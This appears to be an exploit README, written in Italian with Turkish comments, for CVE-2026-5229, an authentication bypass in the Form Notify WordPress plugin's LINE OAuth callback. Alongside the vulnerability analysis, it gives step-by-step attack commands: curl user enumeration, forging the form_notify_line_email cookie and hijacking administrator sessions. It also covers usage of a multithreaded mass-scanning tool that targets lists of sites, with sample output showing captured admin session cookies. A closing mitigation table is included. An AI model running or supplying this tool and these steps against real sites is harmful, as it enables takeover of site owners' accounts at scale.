
CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite il callback OAuth di LINE (CVSS 9.8)
CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite callback OAuth di LINE (CVSS 9.8)
Plugin: Form Notify (
form-notify) Tipo di vulnerabilità: Bypass dell'autenticazione OAuth di LINE non autenticato → Acquisizione dell'account Punteggio CVSS: 9.8 (Critico) Vettore CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersioni interessate: <= 1.1.10 Versione patchata: 1.1.11+ Ricercatore: Paolo Tresso — Wordfence
Il plugin Form Notify è un plugin WordPress che invia notifiche dopo l'invio dei moduli e offre l'integrazione LINE Login OAuth 2.0.
La vulnerabilità si trova nell'handler di callback OAuth di LINE. Dopo che l'utente completa il flusso di autorizzazione LINE, il plugin risolve l'account WordPress solo in base all'indirizzo email. Non verifica mai se l'account LINE sia stato precedentemente associato a quell'account WordPress.
| Versione | Vulnerabilità | Metodo di attacco |
|---|---|---|
| <= 1.1.08 | Cookie Injection + Email Match | Path A o Path B |
| 1.1.09 – 1.1.10 | Email Match (cookie rimosso) | Path B |
| 1.1.11+ | Patchata | — |
L'endpoint di callback OAuth di LINE è registrato come completamente pubblico:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
I nonce di WordPress sono token CSRF, non token di autenticazione. Ogni visitatore può ottenere un nonce valido dall'HTML della pagina e superare il controllo di verifica.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Se viene trovata una corrispondenza, il metodo login() apre immediatamente una sessione:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Quando il profilo LINE non restituisce un'email ($user->email vuoto), il plugin legge direttamente il cookie del browser. L'attaccante controlla completamente questo cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Se il transient è scaduto, entra in gioco il fallback su $_SESSION. Nella maggior parte delle installazioni WordPress, $_SESSION non è popolata a questo punto → il controllo dello state può essere aggirato.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
Negli account creati tramite il flusso OAuth di LINE, la password è identica all'indirizzo email. Questa situazione consente attacchi diretti di brute-force o di login.
| Motivo | Descrizione |
|---|---|
| Nessuna autenticazione richiesta | L'endpoint di callback è completamente pubblico |
| Nessun controllo di collegamento | Qualsiasi account LINE è sufficiente |
| Attacco via cookie | Con <= 1.1.08 non serve nemmeno l'email |
| Tutti gli account, inclusi gli admin | get_user_by('email') colpisce chiunque |
| Scarso controllo dello state | La protezione CSRF può essere aggirata |
| Email = Password | Gli account creati via OAuth sono vulnerabili a brute-force banale |
⚠️ Disclaimer: Questo PoC è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Testare sistemi senza autorizzazione esplicita è illegale.
Prerequisiti:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
Apri gli strumenti di sviluppo del browser e incolla nella console:
document.cookie = "[email protected]; path=/";
Oppure con curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Apri nel browser l'URL OAuth di LINE presente nell'header Location.
Nella schermata di consenso LINE, non concedere il permesso email oppure usa un account LINE senza email. LINE reindirizza al callback senza email. Il plugin ricade sul cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Risposta attesa:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Come al Passo 1 del Path A.
Crea un account LINE all'indirizzo account.line.biz con l'email target. (Richiede la verifica dell'email — è necessario l'accesso alla casella di posta del target.)
https://target.com/wp-json/form-notify/v1/login
Nella schermata di consenso LINE, concedi il permesso email. LINE restituisce l'indirizzo email nel callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| Parametro | Abbreviazione | Descrizione | Predefinito |
|---|---|---|---|
--url | -u | URL del target singolo | — |
--list | -l | File con elenco dei target | — |
--threads | -t | Numero di thread | 10 |
--output | -o | File di output | auth_bypass.txt |
--email | — | Email dell'utente target | rilevamento automatico |
--path | — | Path di attacco (A / B / both) | both |
--max-users | — | Max utenti per target | 5 |
--proxy | — | URL del proxy | — |
--timeout | — | Timeout richiesta (sec) | 10 |
| Stato | Descrizione |
|---|---|
★ AUTH OK | Cookie di sessione ottenuto — completamente automatico |
★ WP-ADMIN | Reindirizzato a /wp-admin |
~ MANUAL | URL OAuth pronto, completalo nel browser |
~ PATH B | Passaggi manuali con account LINE |
- NO_PLUGIN | Form Notify non installato |
- NO_LINE | LINE Login non attivo |
~ NO_TARGET | Email utente non trovata |
~ UNREACH | Target non raggiungibile |
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| Misura | Implementazione |
|---|---|
| Aggiornamento del plugin | Aggiorna a Form Notify 1.1.11+ |
| Controllo del collegamento LINE | Salva l'ID LINE nei meta utente, verificalo a ogni accesso |
| Rimozione del fallback cookie | Rimuovi l'utilizzo di $_COOKIE['form_notify_line_email'] |
| Validazione dello state | Rimuovi il fallback transient, rifiuta gli state scaduti |
| Politica password | Non usare l'email come password in sign_up() |
| Protezione dell'endpoint REST | Applica rate limiting all'endpoint di callback |
Esempio di risoluzione sicura dell'account:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Questo strumento e PoC sono stati realizzati per essere utilizzati esclusivamente su sistemi autorizzati, a fini educativi e nell'ambito di test di penetrazione. L'utilizzo su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del Codice Penale Turco e delle leggi internazionali sui crimini informatici. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.
Licenza MIT — Solo a scopo educativo e di ricerca.